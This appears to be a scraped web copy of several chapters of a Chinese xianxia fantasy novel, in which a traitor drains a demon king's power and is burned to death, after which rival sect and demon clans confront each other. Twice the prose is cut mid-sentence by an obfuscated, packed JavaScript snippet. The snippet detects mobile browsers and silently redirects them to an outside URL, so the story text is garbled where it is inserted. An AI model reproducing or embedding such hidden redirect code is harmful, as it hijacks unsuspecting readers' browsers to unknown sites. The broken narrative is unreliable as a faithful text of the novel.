这是他收集遇难族人的遗骸,积攒拼凑,为吴敬轩炼制的躯壳。 “商陆,快把元神转移到这具身体里,你就能重新拥有我族血脉。” 吴敬轩瞥一眼那健壮威武的肉身,遽然出手将其击成碎片。 所有人都很吃惊,墨池最甚,怒诘:“商陆,这是你回归我族的唯一途径,为何损毁!” 吴敬轩哼哼冷笑,与方才的狂笑异曲同工。 “做什么?这不是明摆着么,我,不想再变回妖兽!” 他尾音凶狠,犹如恶魔亮出了獠牙。 在场者只有武翩翩想不通他的动机,气愤责问:“子涛,复兴本族不是我们长久以来的理想吗?你怎可辜负祖灵大人的厚望!” 冉彤忍不住抢白她:“他连养活了他上万年的老婆都能出卖,还会管你们!?” 边说边看向封二娘:“他和封二娘其实是夫妻,墨池把你当传宗接代的工具,这个小人为了讨好他才虚情假意敷衍你!” 武翩翩这才发现封二娘的非常处境,今天所受的冲击里以此为最。 “子涛,这是真的嘛?” 同为受骗者,她的感受有别于封二娘,全是震惊和纳罕,不敢相信世间上有这么以假乱真的骗子。 夏炎已修复冉彤身体的损伤,他不管吴敬轩和在场人等的恩怨,只想尽快消除大害,催动法力,亿万火箭似倾盆大雨洒向法坛。 这种程度的攻击奈何不了吴敬轩,他轻松地撑起护盾挡住箭雨,借奚落武翩翩宣泄心声:“没见识的蠢丫头哪懂得我的想法。我轮回九世,这万年体验下来还是做人最畅快。人类的身体太适合修行了,短短数十年就顶得上妖族几百年苦修。而且人族的生存规则也更灵活自由,想到什么就能做什么,不像妖族死板蠢笨不懂变通。当年我怨恨人类屠杀白泽族,发誓替族人们报仇,可等我我几世为人后便渐渐认清这现象很合理。野兽们灵智未开时,强者猎食弱者,由此繁衍生息。这自然的铁律可以延伸到世间的万事万物中,人类是凡界最强大的种族,当然有权制定规则,主宰一切。所以我选择做人,不断攀登进取,等成为他们之中的最强者后再君临天下,统御万邦!眼下第一步就是摆脱弱者的拖累。” 他伸出手爪扼住墨池,抽取他残存的灵力。 “反正你已成废物了,剩余的力量都给我吧!” 墨池惨叫着咒骂:“无耻叛徒,本王错信你了!” 吴敬轩恣意讽刺:“、只能怨你自个儿活了几万年还这么天真,恢复法力后干嘛不复活自己,反而把力量拱手让人,换成人类绝不会蠢成这样,所以我才说妖不如人!” “祖灵大人!” 武翩翩急痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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封家兄妹支撑不住就快失手,封五娘突然感觉大量灵力凭空涌入气海,竟能托住那星辰灌顶般的重压了。 “小五莫慌,为父来助你!” “老爹!” 封五娘神识里传来封无牙的声音,她万分惊喜地通知封三郞:“老爹和我联系上了,我们不用怕这坏蛋了!” 封无牙的法力能穿透虚空,稳住天罡罩后他尝试探索空间碎片,此刻总算找到封五娘,借助血脉之力以她的身体为依托,向其输送灵力,相当于半个真身上阵,给予他们强效支援。 “吴敬轩,我要你死!” 封五娘倚仗父亲的法力使出升阶版的“烈雹星云锥”,一一击碎黑锥,纵身突入吴敬轩的防护罩,甩出密雨般的黑纹毒刃。 “封无牙,你这老不死的!” 吴敬轩知道封无牙在做封五娘的后盾,当初他与封二娘成婚时,遭到这位岳父强烈反对,自尊心受到严重打击,万年来始终怀恨。如今觉得这糟老头儿是送上门来给他杀的,凶狠地向封五娘甩出一把把黑色光弹。 黑刃黑弹碰撞,爆鸣声不绝于耳,战场被黑气封锁,不断扩散出刀锋般的气浪。 武翩翩抱着冉彤奋力逃到较为安全的区域,感觉她的身体越来越凉,只剩一点微弱的脉搏,她元神受损,用法术治疗也无济于事。 “喂!你可别就这么死了啊!” 武翩翩欲哭无泪地呼喊着,心中异常慌恐。白泽灵性强,就算本人脑筋迟钝,也能靠直觉获取正确信息。 冉彤是这里唯一愿意救助她的人,她不能失去这个依靠。 冉彤在剧痛的恶浪里挣扎,神魂被肢解的痛楚如此可怕,能清晰感受到生命正如溪流潺潺流失,意识一步步滑向黑暗深渊,没有任何办法阻止。 这次恐怕真没救了。 她满怀惧意不甘地等死,在意识溃散的前一刻,元神竟停止破损并快速修复,这无形的治愈力强且迅速,绝非普通医疗。 是老鬼?不,不对,这感觉……是“生随死殉契”! 她和云宿雨定下契约后还没经历过触及神魂的致命伤,这时初次发挥功效,正隔着遥远的空间抽取云宿雨的神元为她疗伤。 惊讶、伤感、庆幸、感谢、怨念、狠心诸多情绪将她的心境染得五彩斑斓,她身不由己地在这口大染缸里沉浮,想象着云宿雨此刻的感受。 表哥你一定很痛苦吧,可是我必须借着你的牺牲活下去,这是你欠我的。 53.舔狗的下场 武翩翩回到了哥哥新死时一无所有的境况,仇恨重新填满她的胸口,比那时更辛辣刻骨,因为短暂的希望曾充当麻、药消除过痛苦,不久前还让她憧憬着光明美好的未来。 当骗局戳穿,绝望以不可逆转的态势卷土重来,她不深深怨恨便会崩溃。 子涛,你这个叛徒,我绝不让你如愿!绝不! 她双手抱头,指尖在皮肤上抠出印记,两眼充血,面部渐渐脱离人形,显现出白泽的本相。 以微末的道行参战不过飞蛾扑火,她要最大限度利用这条命来复仇,揪住冉彤衣领,用力掰开她的嘴。 “把我的内丹给你,替我杀了那叛徒!” 她右手成爪,猛然探向丹田,由于胆怯,中途停顿了一下,随即鼓起勇气,紧闭双眼狠狠落爪。 手腕被人死死拽住,她吃惊睁眼,冉彤正隙着眼缝望向她,瞳仁里的精光快速增强,眼神坚定,如同暗夜里明亮的坐标。 “不要随便舍弃性命,即便要死也只能为了最重要的人。” 见她曲肘撑着上身吃力坐起,武翩翩涌出惊喜后怕的泪水,哭道:“你没事了?” “你看我像没事的样子吗?” 冉彤粗声怼她,用冰心诀治愈身上的余伤,多亏表哥修为不低,在“生随死殉契”的修复下她的元神大体无恙了。 “那边是什么情形?” “我不知道,他们法力太强,我的神识进不去。” 冉彤借助神木牌探查战况,勉强能看清形势。那战云内爪扬焰舞,翅展烟弥,封家兄妹和吴敬轩斗得正酣。 冉彤见封五娘法力增强了数倍,惊奇之余猜到是封无牙用了特殊办法支持她。 碎片外,夏炎正和封无牙做神识交流。 “夏爷,我已和小五接头了,正与那商陆厮斗。可恨这贼子力量太过强盛,均势一直无法打破啊。您可有其他办法?” “请驸马爷务必拖住那厮,我的神识还在碎片内,不过需要多点时间才能找到冉彤。” 夏炎在脱离冉彤身体时做了临时处置,神识正顶着禁制在碎片空间里漂流,待寻到冉彤所在的位置即可重新附体。 他心中藏着乱麻般的焦虑,那丫头受了那么重的伤,再找不到,她能不能活命都成问题。 封无牙听了他的话底气倍增,尽力向女儿输送法力,但在空间禁制压迫下,最多只送去一半。 碎片内,武翩翩慌惶地挨紧冉彤,求她提供战况解说。 冉彤有一句没一句地说着,内心忐忑,又觉得吴敬轩和封家人斗成平手,好像没有想象中的强。 “你那祖灵大人还真厉害,一口气把吴敬轩喂成了大胖子,不过我看他短时间内拿不下封家人,还说什么君临天下、统御万邦,未免太会吹牛了。” 武翩翩没脸也没胆子反驳这一嘲弄,地面上忽然钻出一个声音回应冉彤:“他还没有完全炼化我的法力,目前只发挥了不到三成功力。” 冉彤和武翩翩惊讶观察那团呈蛛丝状蠕动的灵体,靠气息认出是墨池的残魂。 “祖灵大人是您吗!?” 武翩翩伏地端详灵体,又喜又悲呼唤着。 墨池有气无力向冉彤说道:“我事先留下一缕分魂以备不测,商陆这恶贼可恨至极,小丫头,你还能让夏炎回来吗?现在只有他能杀死商陆,若再迟个半天,让这厮彻底炼化我的法力,就没有人奈何得了了。” 冉彤神经崩得更紧,如实相告:“前辈脱离我的身体后就被弹出这个空间了,不知还能不能回来。就算再附体,以我的修为只会妨碍他。” “你修为确实太低,让我来帮帮你吧。” 见他靠近,冉彤戒备后退。 墨池安抚:“我们白泽族拥有凡界最强的治愈力,你快吸纳炼化我的残魂,这么一来体魄至少增强十倍,能有效保护你的神识,承受夏炎的法力。” 他铸成大错悔不当初,反思后择定盟友,指望绝地反击。 武翩翩惊忙劝说:“不行啊祖灵大人,那样您会彻底消失的!” 说完省悟这想法愚不可及,捂着脸呜呜痛哭。 墨池酸楚道:“翩翩,我族的幸存者很少,像你这样能化形的更是没剩几个了,你要好好活下去,千万不能让白泽族的血脉断绝。” 又放下自尊恳求冉彤:“小丫头,你很勇敢,心眼也好,还请不计前嫌地照顾翩翩,我代表所有族人感激你。” 一代妖王临终托孤,还将大礼相赠,冉彤怎么也得给他几分情面,认真允诺:“我也觉得翩翩姐人不错,会想办法照顾她的。” “多谢。” 墨池道谢后嗖地钻进她的丹田,灵力像暖流沿着她的筋脉扩散,注入全新的活力。身心仿佛冲破坚冰的江河自在奔流,又像接收甘霖的土地焕发生机。 “快炼化我的灵力!” 冉彤忙打坐调息,以静定之功凝神聚气,快速高效地炼化了墨池的残魂,修为随之猛进,一口气越过胜境后期,直接突破至净境初期,得到的忧虑却大于欢喜。 墨池一缕残魂尚有如此强劲的灵力,吴敬轩拿走他大部分修为,若全部炼化当真再无敌手。老鬼能不能回来还是未知数,我得另想办法保命。 远处的战斗还在持续,封家兄妹久攻不下,五内着火。 吴敬轩表面强横,心里也很焦躁,他不知道夏炎等人还安排了什么后招,被封家人纠缠便没空炼化剩余法力,恐会夜长梦多。于是盘算出一条毒计,趁对手专心应战,无暇旁顾,猛地将封二娘拽到跟前。 “这是你们家的叛徒,先杀她吧!” 密密麻麻的毒刃、光弹在相隔封二娘咫尺处消散,封无牙怕伤到女儿紧急撤销了法力,封五娘防备不足,遁速骤减,被吴敬轩的罡气狠狠抽飞,贴地擦出一条深沟。 “老爹,你干嘛收手!” 封五娘怨愤捶地,火大到忘记伤痛。 “只有封毓柔是您亲生的,我的命就不是命吗!?” 她误会封无牙偏心,封无牙歉疚慌乱地辩解:“小五,是爹不小心。” 父女争执的片晌内,吴敬轩打倒封三郞,放声讥笑:“好亲热的一家子啊,不如结伴去阴曹地府吧!” 封二娘的愚昧都被他这歹毒行径清洗干净了,悔恨不甘无情撕裂她的肺腑,就像不能将打碎的器物还原,顶多在碎片上暴躁地踩上几脚泄愤。 她能用来发泄的只有自身性命。 “商陆,卑鄙小人,你定会遭报应!” 吼叫中丹田被气劲封锁,无法施行爆丹。 吴敬轩的气息像冰冷的蛇缠住她的耳朵。 “我还没利用完你怎么能死呢,夫人。” 见封二娘泪水涟涟,封无牙心如刀绞,激愤地传音指责吴敬轩:“商陆,我女儿照管你上万年,没有功劳也有苦劳。你这样欺辱她还是不是男人!?” 吴敬轩就爱看他气急败坏又无可奈何的样子,尽兴嘲笑:“封无牙,都说你是妖界数一数二的能人,可惜格局太低。志向、抱负才是男人真正的追求,等获得巅峰修为,雄霸天下时何患无妻?似你这般眈溺儿女私情,自甘平庸,裹足不前,难怪会被自己的女儿鄙视。” 封二娘的泪珠成倍滑落,无颜面对家人,羞愧地闭上双眼,忍受着该得的惩罚。 封三郞还以好人心理推敲坏人的想法,责问吴敬轩:“当年你追求我二姐时态度那般诚恳,难道全是装出来的?表现得那么痴情,总该有一点真心吧!” 吴敬轩冷笑不语,答案显而易见。 封五娘从未像现在这般埋怨家人的单纯,指责封二娘:“当初我说这坏蛋在缠上你之前还勾引过火麟大王家的三公主和北海老龙的独生女,你骂我造谣挑拨,如今该信了吧。这厮只想拐带有能力的女人为他做牛做马,骗了一大圈,只有你肯上他的当。” 吴敬轩见她揭短,竟恬不知耻地炫耀:“你说的没错,那些女人出身高贵,哪像你二姐急于摆脱低贱的血统,见我是白泽族后裔,骨头立马软了,只要我肯娶她,她可以跪下来舔我的脚趾。” 封五娘气急出招,星云锥被吴敬轩的法阵阻挡。 这歹人将封二娘悬挂在阵眼上方,威胁:“敢动手,我便让她魂飞魄散。” 他在封家人的叫骂声中运功炼化法力,一面恶意刺激对方。 “我干的好事可不止这些呢,封无牙,知道你老婆为何会被离恨天偷袭?那次是我向他们报的信,那死老太婆频频设障,阻我练功。幸亏她死了,不然我这 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冉彤飞动着甩出第二张震爆破符,吴敬轩用封二娘做挡箭牌,不料那符咒竟绕过封二娘追击他。 距离冉彤上次用震爆符偷袭他还不到一个时辰,其他符咒仍锁定他为攻击目标。 封三郞趁机救下封二娘,封无牙没了顾虑,立即辅助封五娘狠命追击吴敬轩。满场黑雾翻腾,灵光闪耀,地摇石走,风吼雷啸。 吴敬轩利用停战间隙炼化了部分法力,再交手又厉害许多。封无牙使不出全力,战斗的天平开始倾斜,局势渐渐对他们不利。 冉彤还想见缝插针地扔符咒,身体突然脱离控制,自动高速飞行起来。 “前辈!” 她惊喜欢呼,笑出了眼泪,从此将夏炎和救星划上等号。 夏炎也对她的现状深感诧异。 “丫头,是谁助你疗伤突破的?” “是表哥,我们不是定了生随死殉契嘛,然后墨池给了我他的残魂。” 冉彤尽量简短回答,争取时间反问:“前辈是怎么回来的?” “以后再说,你境界提升,体魄又增强了许多,老夫想用太初元炁诛杀此贼,不知你能否承受。” “前辈尽管放手干,晚辈撑得住!” 冉彤自信比先时耐造,能扛住新一波试炼,只是有点对不住云宿雨,“生随死殉契”再启动一次,他的修为至少倒退五十年。 夏炎深知成败在此一举,操控冉彤双手结印,念诵佶屈聱牙的咒语。 地面上霎时钻出九条雄壮的紫色巨龙,张牙舞爪扑向吴敬轩。 吴敬轩认出这是专克妖气的太初元炁,他虽为人身,负载的却是墨池的妖力,被困住必死无疑,急忙架起遁光腾挪闪避。 封无牙指挥封五娘和封三郞结出七七四十九张“幻灵遮天网”,封死敌人周遭通路。 这些网挡不住吴敬轩,但减缓了他的速度,一条巨龙成功咬住他的胳膊,其他的紧随其后,口咬身缠,将他捆得结结实实,开始燃放神火消融妖力。 “这种程度还想杀我?” 吴敬轩疯狂挣扎,黑气裹住火龙,形成紫黑相间,不住伸缩蠕动的大气团。 相持不久冉彤的身体再受重创,脑袋像被几百支巨锤敲打,疼得天旋地转。 她难耐的惨叫声动摇了夏炎的定力,他忍不住要罢手,另寻别策,又听冉彤咬牙切齿叫骂:“老鬼磨蹭什么,快点啊!” 少女眼仁泛红,瞳孔变成竖状,暴戾弑杀的天魔属性觉醒了。 天魔状态下□□神魂都比常态时强壮数倍,应该能承受住更大的伤害。 夏炎再犹豫真会害人害己,忙催动法力。 紫火暴长,火焰边缘泛起亮金色,黑气像着火的布巾烧成褴褛、碎屑、灰烬。 吴敬轩厉声哀嚎,护盾失去作用,皮肤上窜起大片水泡,随后破裂流出脓液。俊美的面孔肿胀变形接着融化,一双裸露的眼球充满了绝望与恐惧。 他拼命张大嘴巴,只吸进滚烫的烟火,喉咙充满水泡,再也发不出任何声音。身体肌肉在火光中收缩焦枯,骨骼也被烧得焦脆,少时,像燃尽的柴禾在熊熊烈火中坍塌消散了。 54.对阵 片片黑灰似蝶群乱舞,失去妖力支撑的空间碎片开始崩坏,封五娘借助父亲的力量打开裂缝,招呼大伙儿逃离。 封二娘在封三郞搀扶下飞向裂缝,一点微光尾随而至,封三郞察觉那是吴敬轩的残魂,暴怒地一把抓过来。 “坏蛋,你还没死透啊!” 吴敬轩惊恐地向封二娘求救:“毓柔救我!” 封三郞恨透他的厚颜无耻,正要捏碎他,封二娘猝然出手将残魂抢了过去。 “二姐!你还要犯糊涂吗!?” 封三郞不知如何表达对二姐的愤慨,气得现出原形,准备干掉仇人后狠狠教训她。 吴敬轩窃喜不已,柔声哄求:“毓柔,我就知道你舍不得我,先前是我一时昏了头,忘记你的好。如今我彻底清醒了,你才是世间最爱我的人,我发誓再也不会辜负你!” 他拿捏这女人上万年,自认为她摆脱不了对他的迷恋,只要像从前那般密语哄骗,她就会回心转意。 封三郞也以为封二娘要中迷魂记,厉声警告:“二姐,你若再犯错,休怪做弟弟的不讲情义!” 封二娘凝视吴敬轩,双眼射出毒针般的凶光。 “我还没蠢到那份上,这个空间不会消失,很快将塌缩成弹丸之地,就让这恶棍永远呆在这儿,做他的清秋大梦吧。” 她厌恶到不愿跟吴敬轩说话,向弟弟表明意图后使劲将那缕残魂扔向远处,不管他如何凄厉呼喊哀求,决绝地施法禁锢。 往后他将独自在这狭小、黑暗、荒芜的空间里度过无尽的时间。 这比死亡更漫长痛苦的刑罚方抵得上他所犯的罪孽。 夏炎带着昏迷的冉彤飞出裂缝,出口设在松阳西郊的山地,他的本体已到此等候,收回神识,接住那花瓣般飘落的少女。 武翩翩跟随冉彤降落,凑近急切询问:“她怎么样了?” “身体损坏很严重,好在元神没受伤。” 夏炎为冉彤疗伤的过程中激活了墨池残留在她体内的一点神识,这妖王埋此伏笔是想与他做最后的交流。 “谢谢你替我族除害,夏炎,我们白泽族因为体质特殊,生来就被人类追逐猎杀,曾经我也试过寻找与人族和平共处的方法,结果都失败了,最后才想靠极端手段复兴我族,因为猎人和猎物之间永远不可能达成和解。” 夏炎认同这一观点。 “你说得对,野心和贪婪是所有生物共有的弊病,只要人族和妖族还混居于同一个世界,杀戮就不会停息。” 上古时代的神仙们早已认清问题的根源,想过各种解决之道。 比如“山海遗界”就是妖仙们尝试为妖族开辟的乐土。 可惜由于力量欠缺,空间内的资源不能满足整个妖族的生存所需,后来又遭到人族的进攻,最终荒废破碎。 墨池哀叹后询问:“我知道你曾努力为妖族寻求理想的生存空间,这计划还能继续吗?” 夏炎想给这行将消失的英雄一些慰藉,乐观道:“这是我毕生的使命之一,只要一息尚存,就会竭尽全力去实现。” 墨池感慨道:“此言足慰我心,你任重道远又多阻力,需要信得过的人辅佐以免重蹈覆辙。我看这小丫头根骨心性都很好,做得你的门人,你不妨多加栽培。白泽族乃至整个妖族的出路都在你身上了。” 他声音渐低,像阳光下的晨雾由稀薄到透明,不余丝毫痕迹。 夏炎怀着敬意送别墨池,古今太多纷争和悲剧都起源于凡界配置上的缺陷,他定要协助众神纠正错误,为世界更换应有的秩序。 这时封无牙带着儿女们赶来了。 “夏爷,我家二妹已终止法阵,松阳安全了。” 封无牙脸上带笑心里慌,急于替封二娘求情,刚琢磨好怎么开口,东面飞来一道绿光,封四郞鼻青脸肿地从光晕中跌落,被封大郎手快接住。 “老四,你怎么了!” 封四郞身负重伤,捂着胸口向夏炎示警:“夏爷,我没能拖住陈淳,他就快到了。” 夏炎想将冉彤托付封家照看,只身迎战陈淳。 封无牙抢先说:“夏爷暂且回避,让我去会会这厮。” 怕他拒绝,紧跟着强调:“姓陈的是商陆的后台,害死我儿子,害苦我女儿,还诬陷我们封家,这是第一层仇。第二层仇是为着我们公主,我早想跟离恨天算旧账,今日正是时候,还请您行个方便。” 夏炎想他的实力足够对付陈淳,道谢后抱起冉彤,领着武翩翩隐身转移到远处。 封大郎、封三郎、封五娘、封六郎想为父亲助阵,被封无牙撵开。 “为父多年未同人争斗,也没怎么教你们杀伐之道,现下拿仇家给你们补一堂课,都仔细瞧好了。” 天色向晚,清空中阴云骤聚,狂风大作,林间枝摇叶舞,草木旋飞,树木不堪凌虐嘎吱乱响,听来仿佛一群人在无助地尖叫哀泣。 封无牙并不强壮的身躯在风中巍然屹立,一束灵光冲天,向敌人发出邀请。 陈淳在千尺高的上空闪现,一个时辰前封四郞以协商封七郎的案情为由将他骗至数千里外的洞府。 他想做和事老让封家息事宁人。实在不行先占得理字,事后纠纷升级也能使离恨天在道义上立于不败之地,因此拿出耐性与对方周旋。 封四郞口若悬河,舌吐莲花,拐弯抹角说了一大堆废话还让人感觉言之有理。 陈淳被他套住,始终无法自圆其说,后来收到手下传讯,说松阳大乱,灾祸就出自江心洲的明月山庄,他才省悟中计。 本来封四郞绝拦不住他,可是不知从哪儿冒出来个家伙用极高明的幻术干扰他,不仅掩护封四郞脱逃,还足足将他困了半个时辰,直至被他打伤潜逃也没露出真面目。 对方不像妖修,来历殊为可疑。 相比之下松阳这边的乱子更要紧,陈淳断定封四郞是受夏炎指使,追踪他赶到现场,却见地上等待他的另有其人。 “封无牙,怎么是你?” 他气狠狠质问,封无牙犯不着客气,讥讽:“陈淳,老夫专程在这儿等你讨公道,你来得忒慢了些。” 陈淳对他颇为忌惮,可面子为大,碰上了还得说几句硬气话。 “老东西,你窝藏重犯,本门正欲追责,你反倒来挑衅本座,真不把道祖放在眼里?” 封无牙冷笑:“老夫不知道你在说什么,无凭无据冤枉人,道祖的脸面就是被你们这号人败光的。” 陈淳激怒指斥:“你分明知晓夏炎的行踪还敢抵赖!识相的趁早交代,别等到家破人亡时才后悔!” 威胁只会坚定封无牙的复仇心,老头儿双眼转红,变化成蚊子的复眼,头顶伸出触须,青色的灵力伴随着强烈的杀气,如同火山喷发,吹折了周边百十棵大树。 树枝树叶被风柱卷向高空,变成锋利的飞镖和刀片,叮叮当当击中陈淳的护盾,很快砸出连片裂纹。 陈淳急念咒语,头顶出现黑色气旋,当中传出阵阵雷鸣般的声响,胜似地狱恶鬼的嚎叫。 下方空气尽数扭曲成旋涡状,疯狂吞噬一切事物,山石、草木、河流全被拉扯离地,形成一个个巨大的风柱,在高空中合流后钻入黑洞。 封无牙不慌不忙举起右手,手腕翻转放出大片大片黑色蚊群。震耳的风声霎时被它们振翅的巨响压制住,大地颤抖,云雾变色。 蚊群汹汹涌入黑洞,数量之巨仿佛将整个天地都塞了进去。 这饕餮噬空术以施术者的法力为限,若吸纳的物体灵力超出本人的法力,即会撑破空间。 封无牙四万多年道行,换算成人族修士,修炼四五千年才及得上他,陈淳自非对手。 黑洞以外的天空露出若干块黑色阴影,蚊群咬破空间钻出,水银泻地般直扑陈淳。 陈淳眼见不敌,赶忙撤退。 “你往哪里走!?” 封无牙放出“幻灵遮天网”,巴掌大的网兜遇风长到百里见方,陈淳如忙乱的飞蛾一头撞在网中,被牢牢缠定。 蚊群一拥而上叮咬吸吮他的灵力,他拼命抵抗仍招架不住,连声惨叫着向同门发送求救讯号。 云层中伸出一只金色的大手握住他,蚊群迅即爬满整只手,像给它戴上了厚厚的黑手套,任其挥舞摆动也甩不开,驱不散。 巨手的主人在封无牙对面现形,是一个眉清目秀,黄衫绿裙的青年女子。 “封无牙,我知你心中不忿,发泄一下尚可,何必闹出人命?” 这女子名唤江琉玥,是离恨天太上长老之一,陈淳算她师兄。 封无牙打定主意不再屈服,愠怒道:“离恨天欠我封家两条命,你们的人命金贵,我的夫人孩子就是草芥吗?今日你们来再多人老夫也不怕,先拿你和陈淳祭旗!” 蚊群扑向江琉玥,她忙放出本命法宝“百宝金如意”,金光笼罩,蚊群攻不进去。 封无牙改用“千机万毒针”,数以亿计细如牛毛又剧毒无比的飞针射向金光,光罩上涟漪密布,已被一些针头刺穿,俄尔便可突破。 江琉玥见老怪杀红了眼,不得不再叫帮手。 这次来的是陈砚山,他空着手,没用任何法术,冷静劝阻封无牙:“难得见封驸马大动肝火,想是陈师兄和江师妹做了冒犯阁下的事,陈某先替他们赔礼,还请阁下消消气,听陈某说几句。” 封无牙知此人外方内圆,最会耍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876203|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心眼,黑脸奚落:“老夫跟你没什么可说的,既然来了且把命留下!” 陈砚山笑道:“晚辈相信阁下杀得了我三人,可同归于尽对阁下又有什么好处?您膝下尚有那么多好儿孙,就不想给他们留退路?” 封家兄妹不受他威胁,愤然冲过来,封二娘也没掉队。 封大郎代表弟弟妹妹们为父亲鼓劲:“老爹,封家没有胆小鬼,咱们跟他们拼了!” 兄妹六人放出神识,五颜六色的妖气形成铺天盖地的彩色光雾,瑰丽诡异,炫目骇人。 陈砚山依然不做任何防护,任由飓风拉扯他的衣衫须发,夷然自若道:“诸位如此不理智,就怕待会儿没有后悔药可吃。” 仿佛呼应他的威胁,云幕被金色的光刃划开数里长的大口子,大批人影自裂缝中飞来,犹如流星赶月,拖着长长的尾芒。 强大的灵压向地面倾注,冲开空气,两旁气浪踏平了几座山峰。 封无牙为儿女们支起护盾,神情严峻地仰望那些伫立在金光中的敌人。 离恨天开阳殿主事林青统帅八百修士到场,站在他前面的是两名高矮胖瘦一致的中年男人和一位手持拂尘的少年。 那两个男人长相也极为相似,都是铜铃眼,驼峰鼻,大嘴又方又厚,皮肤黝黑,头发呈赤金色,外貌特征属于百花州南部的少数族裔。 这对孪生兄弟一个叫方无尘,一个叫方无嗔。 那拂尘少年轮廓深邃,英气勃勃,眉心有一簇红色的火焰印记,只是身体骨骼太纤细了些,细看原来是男装打扮的女子。 此女名叫叶欺霜,和方氏兄弟同为离恨天的太上长老。 二方合力施法赶走蚊群,救出陈淳,方无尘取笑:“陈师兄今日大意了。” 陈淳羞愤异常,可恨伤重,不便同他们翻脸,忍住没做声。 叶欺霜高声警告封家人:“封无牙,你窝藏逃犯,纵女行凶,如今又打伤本门要员,我等不施以严惩,难正法纪。你若顾惜家小性命就快交代那魔头的行踪,否则战势一起,叫你全家尸骨无存。” 夏炎在远处观战,见封家人身陷险境,就想一人做事一人当,前去与仇家们血战。 正吩咐武翩翩照看冉彤,南面涌来大片墨黑的云浪,混合着怒海狂澜般的妖气,直抵战场。 一个苍老的女人音透出云海:“离恨天的小崽子们,可有本事叫我们都尸骨无存?” 封家兄妹惊喜顾盼,封五娘欢叫:“麝兰夫人,您来了!”,封大郎跟着呼喊:“岳父!” 三名穿黑白衣裳的美女从乌云里飞下来落到封无牙跟前,向他行礼。 她们分别是封大郞、封三郎和封四郞的妻子,修为都不亚于丈夫。 云端走出一个银发黑袍手持藤杖的驼背老太太,身旁立着个年貌相当的魁梧老者,这老者额头长着三只竖向的眼睛,五只眼都闪着红彤彤的幽光。 夏炎认得老太太是封无牙的邻居麝兰夫人,真身是一头四万二千岁的獐子精。 五眼老者比她略小几百岁,是一只冥王蜘蛛,名唤廖行之,早年将次女许配封大郞,和封家是姻亲。 这两位都是成名已久的妖界大能,身后还跟着几十个化形大妖,夏炎细瞧基本都叫得出名号,人均修为都在一二万年以上。 廖行之责怪女婿:“哪有人家办丧事,主人不打招呼丢下客人全跑光的道理。你爹老糊涂了,你总该清醒,也不吱个声,哑巴了不成?” 封大郞挠头憨笑,封无牙替他向亲家赔罪:“亲家翁,实在对不住。事发突然,错全在我,不干孩子们的事。” 他明白这些亲友是来为封家扎场子的,实力足以全歼敌人。 廖行之昂首吼问叶欺霜:“你方才说要施严惩,正法纪,这天底下最无法无天的不就是你们离恨天吗?随随便便把人打死, 一句道歉的话没有,还想把人家全家赶尽杀绝。老夫今日倒要抽你们几根歪筋邪骨仔细瞧瞧,看到底有多难啃!” 陈砚山见势头不对,忙悄悄联系雪千重,想请她派人增援。 突然,云浪排空,暴风动地,东面又飞来一朵硕大的乌云,妖气纵横,虚空如沸,林青等修为不足的都被这奇寒刺骨的妖风吹得毛骨悚然,断定来的是某位妖王。 “诸位都镇定,莫要妄动干戈。” 乌云里传出浑厚威严的中年男音,同时探出一截粗如磨盘,长愈十丈的蝎尾,尾端镰刀状的螯刺蓝光闪闪,看一眼便叫人心悸。 “杜大王来了。” “是杜峰。” 妖修和人修们各自交头接耳,理性的人都松了口气。 虫族妖王亲临劝架,这仗估计打不起来了。 55.定风波 陈砚山见机摆姿态,客气地向杜峰行礼:“杜大王来得及时,封老不知受何人蛊惑,执意与我离恨天为敌,其身后群妖不明真相,对其偏听偏信,意图搅乱事态。我等奉道祖之命镇守人界,对外素来以和为贵,委实不愿无端卷入纷争。还请大王明辨是非,拨乱反正,以保两族安宁。” 他颠倒黑白,激怒众妖,辈分稍小的妖修们不讲究体面仪态,纷纷破口大骂。 封无牙飞到杜峰驾前,他是前代妖王的女婿,又是杜峰的大前辈,不用行大礼,拱手禀报:“杜大王,这厮恶人先告状。离恨天教唆手下冤杀我家老幺,还想构陷我全家,老夫今日出手实属被逼无奈啊。” 外敌当前,陈淳顾不得与陈砚山的嫌隙,帮腔斥责封无牙:“老妖怪休得胡言!你的二女儿连续十余年在松阳杀人吸血,恶孽滔天,罪该万死,封七郎就是她的同伙,死得一点不冤枉!” 封二娘早已愧悔无地,出空间碎片后便想以死谢罪,忙飞到父亲身边,向杜峰跪地申辩。 “杜大王,罪女犯案不假,可我家人之前对此毫不知情,我七弟已替我而死,罪女断不能再让他蒙受冤屈。况且罪女是在那影月宗宗主吴敬轩教唆下犯罪,姓吴的又是受离恨天指使,替他们杀人采血去堵那残秽之渊里的瘴气。所以整件事的罪魁祸首就是离恨天!求大王明鉴!” 夏炎当初听说松阳出现泄露瘴气的不明地坑,便联想到云家守护的“残秽之渊”。这会儿封二娘应证了他的推测,他觉得这两处灾情并非偶然,其原因值得深究。 杜峰身为妖王,心里当然倾向自己人,可关系到两族邦交,他不想把小纠纷闹成大战乱,此番前来是为了摆事实讲道理,对离恨天众人说道:“本王昨日闻讯后已派人来松阳进行了详实调查。封毓柔的话基本属实,封老顶多算教女无方,而贵派至少要落个失察之罪,比较起来性质可严重多了。” 陈淳矢口抵赖:“审案不能仅凭一面之词,这妖女口口声声说她是受吴敬轩指使,那就让她交代姓吴的下落,老夫立刻派人把他抓来对质!” 封二娘说:“他死了,残魂留在山海遗界的碎片中,再也出不来了。” 陈淳放心大笑,恶狠狠詈斥:“口空无凭,老夫看你定是在撒谎!” 